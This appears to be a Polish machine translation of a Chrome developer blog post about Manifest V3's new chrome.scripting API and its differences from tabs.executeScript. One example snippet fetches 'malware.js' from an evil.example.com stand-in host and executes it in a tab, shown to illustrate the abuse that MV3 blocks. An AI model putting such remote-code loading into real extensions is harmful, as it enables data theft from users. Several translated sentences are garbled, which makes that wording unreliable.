Manifest V3 wprowadza szereg zmian na platformie rozszerzeń do Chrome. W tym poście
Zajmiemy się motywacjami i zmianami, które wynika z jednej z ważniejszych zmian:
wprowadzenie interfejsu API chrome.scripting
.
Co to jest chrome.scripting?
Jak sama nazwa wskazuje, chrome.scripting
to nowa przestrzeń nazw wprowadzona na platformie Manifest V3
odpowiada za możliwość wstrzykiwania stylów.
Deweloperzy, którzy utworzyli rozszerzenia do Chrome w przeszłości, mogą znać metody platformy Manifest V2
w interfejsie Tabs API, takim jak chrome.tabs.executeScript
czy
chrome.tabs.insertCSS
Te metody umożliwiają rozszerzeniom wstrzykiwanie skryptów i
arkusze stylów na strony. W platformie Manifest V3 te możliwości zostały przeniesione do
chrome.scripting
. W przyszłości planujemy dodać do tego interfejsu API nowe funkcje.
Po co tworzyć nowy interfejs API?
Po takich zmianach jednym z pierwszych pytań, które pojawiają się po wprowadzeniu tej zmiany, jest „dlaczego?”.
Kilka różnych czynników skłoniło zespół Chrome do wprowadzenia nowej przestrzeni nazw dla skryptów.
Po pierwsze, interfejs Tabs API pełni rolę szuflady śmieci dotyczącej funkcji. Po drugie, musieliśmy zadbać o to,
zmiany w obecnym interfejsie executeScript
API. Po trzecie, wiedzieliśmy, że chcemy
rozszerzyć tworzenie skryptów
możliwości rozszerzeń. Wraz z tymi obawami wyraźnie podkreślono potrzebę utworzenia nowej przestrzeni nazw
skryptach autoreklamy.
Szuflada śmieci
Jednym z problemów, z którym zespół ds. rozszerzeń od kilku lat zmaga się zespół ds. rozszerzeń,
Interfejs chrome.tabs
API jest przeciążony. W chwili wprowadzenia tego interfejsu API większość jego funkcji
były powiązane z ogólną koncepcją karty przeglądarki. Jednak nawet wtedy był to
w pakiecie funkcji, a z upływem lat ta kolekcja ciągle się powiększa.
Przed udostępnieniem platformy Manifest V3 interfejs Tabs API został rozszerzony i obejmował podstawowe funkcje zarządzania kartami zarządzanie wyborem, porządkowanie okien, przesyłanie wiadomości, sterowanie powiększeniem, podstawowa nawigacja, skrypty o kilka innych mniejszych funkcji. Choć to wszystko jest ważne, może to być przytłaczające, dla początkujących użytkowników, a także dla zespołu Chrome, bo dbamy o to, aby platforma rozpatrujemy prośby społeczności deweloperów.
Kolejnym komplikacją jest to, że nie są dobrze znane uprawnienia tabs
. Wiele innych
uprawnienia ograniczają dostęp do danego interfejsu API (np. storage
), są one ograniczone
jest nietypowe, ponieważ przyznaje rozszerzeniu dostęp tylko do poufnych właściwości w wystąpieniach kart (oraz
wpływa też na interfejs API systemu Windows). Wielu programistów rozszerzeń błędnie uważa, że
potrzebują tego uprawnienia, aby uzyskać dostęp do metod w interfejsie Tabs API, takich jak chrome.tabs.create
, lub
także w języku niemieckim, chrome.tabs.executeScript
. Przeniesienie funkcji z interfejsu Tabs API pomaga wyczyścić dane
z tego niejasności.
Zmiany powodujące niezgodność
Podczas projektowania platformy Manifest V3 chcieliśmy rozwiązać problemy związane z nadużyciami i złośliwym oprogramowaniem. włączone przez „kod hostowany zdalnie” – kod, który jest wykonywany, ale nie znajduje się w rozszerzeniu pakietu SDK. Często autorzy rozszerzeń naruszających zasady wykonują skrypty pobierane z serwerów zdalnych do kradzież danych użytkowników, wstrzykiwanie złośliwego oprogramowania i unikanie wykrycia. Z tej możliwości korzystają też dobrzy aktorzy, a potem po prostu stwierdził, że to zbyt niebezpieczne, by pozostać bez zmian.
Rozszerzenia mogą uruchamiać niepogrupowany kod na kilka różnych sposobów. Trzeba tylko wybrać ten, który
oto metoda chrome.tabs.executeScript
na platformie Manifest V2. Ta metoda pozwala rozszerzeniu na
i uruchomieniu dowolnego ciągu kodu na karcie docelowej. To z kolei oznacza, że deweloper,
może pobrać dowolny skrypt ze zdalnego serwera i uruchomić go na dowolnej stronie, którą rozszerzenie może
dostęp. Wiedzieliśmy, że aby rozwiązać problem z kodem zdalnym, musielibyśmy pozbyć się
funkcji.
(async function() {
let result = await fetch('https://evil.example.com/malware.js');
let script = await result.text();
chrome.tabs.executeScript({
code: script,
});
})();
Chcieliśmy też usunąć inne, bardziej subtelne problemy z projektem wersji na platformie Manifest V2. że interfejs API staje się bardziej dopracowanym i przewidywalnym narzędziem.
Choć podpis tej metody można było zmienić w interfejsie Tabs API, czuliśmy, że między tych kluczowych zmian i wprowadzenia nowych możliwości (omówionych w następnej sekcji), czysta przerwa będzie łatwiejsza dla wszystkich.
Rozszerzenie możliwości tworzenia skryptów
Kolejną kwestią, która wpłynęła na proces projektowania platformy Manifest V3, była chęć wprowadzenia
dodatkowych możliwości obsługi skryptów na platformie rozszerzeń do Chrome. Chcieliśmy dodać
obsługę skryptów treści dynamicznych i rozszerzenie możliwości metody executeScript
.
Obsługa skryptów treści dynamicznych jest przedmiotem prośby o dodanie funkcji w Chromium. Dzisiaj,
Rozszerzenia Chrome w wersji 2 i 3 mogą tylko statycznie deklarować skrypty treści
manifest.json
plik; platforma nie umożliwia rejestracji nowych skryptów treści,
lub wyrejestrować skrypty treści w czasie działania.
Wiedzieliśmy, że chcemy uwzględnić tę prośbę o dodanie funkcji na platformie Manifest V3, ale żadne z naszych istniejących
Interfejsy API wydają się idealnym rozwiązaniem. Postanowiliśmy również dostosować do przeglądarki Firefox skrypty treści
API, ale bardzo wcześnie dostrzegliśmy kilka poważnych wad tego podejścia.
Po pierwsze wiedzieliśmy, że będziemy mieć niezgodne podpisy (np. wycofamy obsługę code
). Po drugie, nasz interfejs API nosił inne ograniczenia projektowe (np. konieczność rejestracji
pozostają poza okresem działania mechanizmu Service Worker). Wreszcie przestrzeń nazw pozwoliłaby nam wprowadzić
skryptu dotyczącego treści, w którym chodzi o tworzenie skryptów w rozszerzeniach.
W executeScript
chcieliśmy także rozszerzyć możliwości interfejsu API, wykraczając poza funkcje Tabs.
Obsługiwana wersja interfejsu API. Mówiąc bardziej szczegółowo, chcieliśmy jeszcze łatwiej obsługiwać funkcje i argumenty.
są kierowane na określone klatki i inne niż „karta”; kontekstach.
W przyszłości zastanawiamy się też, jak rozszerzenia mogą wchodzić w interakcje z zainstalowanymi aplikacjami PWA oraz innymi kontekstów, które nie są koncepcyjnie mapowane na „karty”.
Zmiany między skryptami tab.executeScript i scripting.executeScript
W dalszej części tego posta chcę się przyjrzeć podobieństwu i różnicom między tymi platformami.
od chrome.tabs.executeScript
do
chrome.scripting.executeScript
Wstrzykiwanie funkcji z argumentami
Biorąc pod uwagę konieczność rozwoju platformy w świetle kodu hostowanego zdalnie Chcieliśmy znaleźć równowagę między nieprzetworzoną mocą dowolnego wykonywania kodu ze skryptami treści statycznych. Wykorzystaliśmy rozwiązanie, aby umożliwić rozszerzeniom wstrzykiwanie jako skryptu treści i przekazywać tablicę wartości jako argumenty.
Spójrzmy na (zbyt uproszczony) przykład. Powiedzmy, że chcemy wstawić skrypt, powitał użytkownika po imieniu, gdy kliknie przycisk polecenia rozszerzenia (ikona na pasku narzędzi). Na platformie Manifest V2 moglibyśmy dynamicznie utworzyć ciąg kodu i wykonać ten skrypt w bieżącym stronę.
// Manifest V2 extension
chrome.browserAction.onClicked.addListener(async (tab) => {
let userReq = await fetch('https://example.com/greet-user.js');
let userScript = await userReq.text();
chrome.tabs.executeScript({
// userScript == 'alert("Hello, <GIVEN_NAME>!")'
code: userScript,
});
});
Chociaż rozszerzenia na platformie Manifest V3 nie mogą używać kodu spoza pakietu z rozszerzeniem, naszym celem było zachować dynamikę, jaką zapewnia arbitralne bloki kodu włączone w rozszerzeniach na platformie Manifest V2. pozwala recenzentom Chrome Web Store, użytkownikom i innym zainteresowanym stronom w celu dokładniejszej oceny ryzyka, jakie stwarza to rozszerzenie, oraz umożliwieniu na modyfikowanie działania rozszerzenia w czasie działania w zależności od ustawień użytkownika lub stanu aplikacji.
// Manifest V3 extension
function greetUser(name) {
alert(`Hello, ${name}!`);
}
chrome.action.onClicked.addListener(async (tab) => {
let userReq = await fetch('https://example.com/user-data.json');
let user = await userReq.json();
let givenName = user.givenName || '<GIVEN_NAME>';
chrome.scripting.executeScript({
target: {tabId: tab.id},
func: greetUser,
args: [givenName],
});
});
Ramki kierowania
Chcieliśmy też poprawić sposób, w jaki programiści korzystają z ramek w zmienionym interfejsie API. Manifest V2
executeScript
umożliwia programistom kierowanie reklam na wszystkie klatki na karcie lub na określoną
na karcie. Za pomocą funkcji chrome.webNavigation.getAllFrames
możesz uzyskać listę wszystkich klatek w:
kartę.
// Manifest V2 extension
chrome.browserAction.onClicked.addListener((tab) => {
chrome.webNavigation.getAllFrames({tabId: tab.id}, (frames) => {
let frame1 = frames[0].frameId;
let frame2 = frames[1].frameId;
chrome.tabs.executeScript(tab.id, {
frameId: frame1,
file: 'content-script.js',
});
chrome.tabs.executeScript(tab.id, {
frameId: frame2,
file: 'content-script.js',
});
});
});
W pliku manifestu w wersji 3 zastąpiliśmy opcjonalną właściwość liczby całkowitej frameId
w obiekcie options
opcjonalna tablica frameIds
liczb całkowitych; pozwala to programistom kierować na wiele klatek w jednej
Wywołanie interfejsu API.
// Manifest V3 extension
chrome.action.onClicked.addListener(async (tab) => {
let frames = await chrome.webNavigation.getAllFrames({tabId: tab.id});
let frame1 = frames[0].frameId;
let frame2 = frames[1].frameId;
chrome.scripting.executeScript({
target: {
tabId: tab.id,
frameIds: [frame1, frame2],
},
files: ['content-script.js'],
});
});
Wyniki wstrzykiwania skryptu
Poprawiliśmy też sposób zwracania wyników wstrzykiwania skryptów na platformie Manifest V3. „Wynik” to
czyli końcowej wartości ocenianej w skrypcie. Potraktuj to jako wartość zwracaną,
wywołaj eval()
lub wykonaj blok kodu w konsoli Narzędzi deweloperskich Chrome, ale zserializowany w celu
i przekazywać wyniki pomiędzy procesami.
W pliku manifestu w wersji 2 funkcje executeScript
i insertCSS
zwróciły tablicę prostych wyników wykonania.
Jest to odpowiednie, jeśli masz tylko jeden punkt wstrzykiwania, ale kolejność wyników nie jest gwarantowana
wstrzykiwania do wielu ramek, więc nie można stwierdzić, który wynik jest z nim powiązany.
ramki.
Aby uzyskać konkretny przykład, spójrzmy results
tablicom zwracanym przez platformę Manifest V2 i atrybut
Wersja tego samego rozszerzenia na platformie Manifest V3. Obie wersje rozszerzenia wstrzykną taki sam
skrypt treści i porównamy wyniki na tej samej stronie demonstracyjnej.
// content-script.js
var headers = document.querySelectorAll('p');
headers.length;
Po uruchomieniu wersji platformy Manifest V2 zwracamy tablicę o wartości [1, 0, 5]
. Który wynik pasuje
do ramki głównej, a która dotyczy elementu iframe? Zwracana wartość nie informuje nas o tym, więc nie wiemy
na pewno.
// Manifest V2 extension
chrome.browserAction.onClicked.addListener((tab) => {
chrome.tabs.executeScript({
allFrames: true,
file: 'content-script.js',
}, (results) => {
// results == [1, 0, 5]
for (let result of results) {
if (result > 0) {
// Do something with the frame... which one was it?
}
}
});
});
W wersji Manifest V3 obiekt results
zawiera teraz tablicę obiektów wynikowych zamiast tablicy
tylko wyniki oceny, a obiekty wynikowe wyraźnie określają identyfikator ramki dla każdej
wynik. Ułatwia to deweloperom korzystanie z wyników i podjęcie działań w związku z określonym
ramki.
// Manifest V3 extension
chrome.action.onClicked.addListener(async (tab) => {
let results = await chrome.scripting.executeScript({
target: {tabId: tab.id, allFrames: true},
files: ['content-script.js'],
});
// results == [
// {frameId: 0, result: 1},
// {frameId: 1235, result: 5},
// {frameId: 1234, result: 0}
// ]
for (let result of results) {
if (result.result > 0) {
console.log(`Found ${result} p tag(s) in frame ${result.frameId}`);
// Found 1 p tag(s) in frame 0
// Found 5 p tag(s) in frame 1235
}
}
});
Podsumowanie
Nagłe wzrosty wersji pliku manifestu stanowią rzadką okazję do przemyślenia i modernizacji interfejsów API rozszerzeń. Nasz cel
platformy Manifest V3 ma zwiększyć wygodę użytkowników przez zwiększenie bezpieczeństwa rozszerzeń, a jednocześnie
i poprawiać wrażenia programistów. Dzięki wprowadzeniu chrome.scripting
w platformie Manifest V3 mogliśmy
aby pomóc w usprawnieniu interfejsu Tabs API i udoskonaleniu executeScript
pod kątem bezpieczniejszej platformy rozszerzeń,
oraz przygotować podstawy do tworzenia nowych skryptów, które pojawią się w tym roku.